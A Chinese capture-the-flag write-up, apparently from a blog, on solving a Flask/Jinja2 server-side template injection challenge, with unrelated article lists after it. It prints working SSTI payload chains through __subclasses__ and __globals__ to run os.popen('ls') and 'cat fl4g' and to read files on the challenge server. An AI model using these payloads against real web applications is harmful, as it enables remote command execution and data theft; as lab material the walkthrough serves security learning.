Web_python_template_injection

  o(╥﹏╥)o从这里开始题目就变得有点诡谲了

  网上搜索相关教程的确是一知半解,大概参考了如下和最后的WP:

  http://shaobaobaoer.cn/archives/660/python-flask-jinja-ssti

  https://xz.aliyun.com/t/3679#toc-8 (这篇讲的特别好)

  https://blog.csdn.net/sxingming/article/details/52071514

  https://www.cnblogs.com/tr1ple/p/9415641.html

  https://www.freebuf.com/column/187845.html

  简单来说还就是代码不规范导致的,渲染函数render_template_string,在使用%s来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析

  首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思 考怎样用 python 语句获取控制台权限:想到了 `os.system` 和 `os.popen`, 这两句前 者返回 **退出状态码** , 后者 **以 file 形式** 返回 **输出内容**, 我们想要的是 内容,所所以选择 `os.popen`

  知道了要用这一句,那么我要怎么找到这一句呢?

  __class__ : 返回对象所属的类

  __mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。

  __base__ : 返回该类所继承的基类
  __base__和__mro__都是用来寻找基类的
  __subclasses__ : 每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表
  __init__ : 类的初始化方法
  __globals__ : 对包含函数全局变量的字典的引用

  

  首先,找到当前变量所在的类:

  http://159.138.137.79:56645/{{''.__class__}}

  得到类:<type 'str'>

  接下来查看他的基类:

  http://159.138.137.79:56645/{{''.__class__.__mro__}}

  得到基类:<type 'str'>, <type 'basestring'>, <type 'object'>

  然后,通过基类来找其中任意一个基类的引用列表

  http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()}}   ps:mro里面不能不填,测试mro2和mro-1均能弹出来列表,其他的不行

  找到Site_Printer() 位于第72位:所以:__subclasses__()[71]

  直接使用listdir函数列出当前的文件,并搜索可能存在的flag文件或者:通过 `` 来 调用服务器的控制台并显示

  http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}

  http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

  返回:

  URL http://159.138.137.79:56645/['index.py', 'fl4g'] not found

  得到名字以后使用文件名.read()的方式读取:

  http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}

  http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

  获得:URL http://159.138.137.79:56645/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found

  得到flag

  

  

最新文章

  1. 《.NET开发资源大全》
  2. angularJS(4)
  3. .NET添加时间戳防止重放攻击
  4. hdu1754 I Hate It
  5. Gulan查询UI排布
  6. Linux内核通杀提权漏洞CVE-2016-5195验证
  7. 《OD大数据实战》Flume入门实例
  8. 4. Qt的容器类
  9. Spring boot整合ElasticSearch案例分享+bboss
  10. MUI 返回顶部
  11. nginx问题集锦
  12. ubuntu 16.04服务器 搭建php LAMP环境
  13. vue的技巧代码
  14. Ajax 上传文件(input file FormData)
  15. Spark笔记之DataFrameNaFunctions
  16. C# 根据注册表获取当前用户的常用目录整理
  17. (原创)用c++11打造类似于python的range
  18. 【Unity笔记】使物体(船)漂浮在水面上——浮力
  19. Python的函数参数传递
  20. linux 删除文件夹及其内容,显示文件路径

热门文章

  1. 《你还在写sql语句吗?》人生苦短,进入MybatisPlus的丝滑体验
  2. 图文详解在Windows系统中安装JDK
  3. SpringBoot学习笔记(十七:异步调用)
  4. javascript算法 最短路径问题
  5. SpringBoot2.x入门:使用MyBatis
  6. StringBuilder和 String的区别?
  7. 题解 洛谷 P3298 【[SDOI2013]泉】
  8. 用windbg查看dmp文件,定位bug位置
  9. vue学习(五) 访问vue内部元素或者方法
  10. ajax快速入门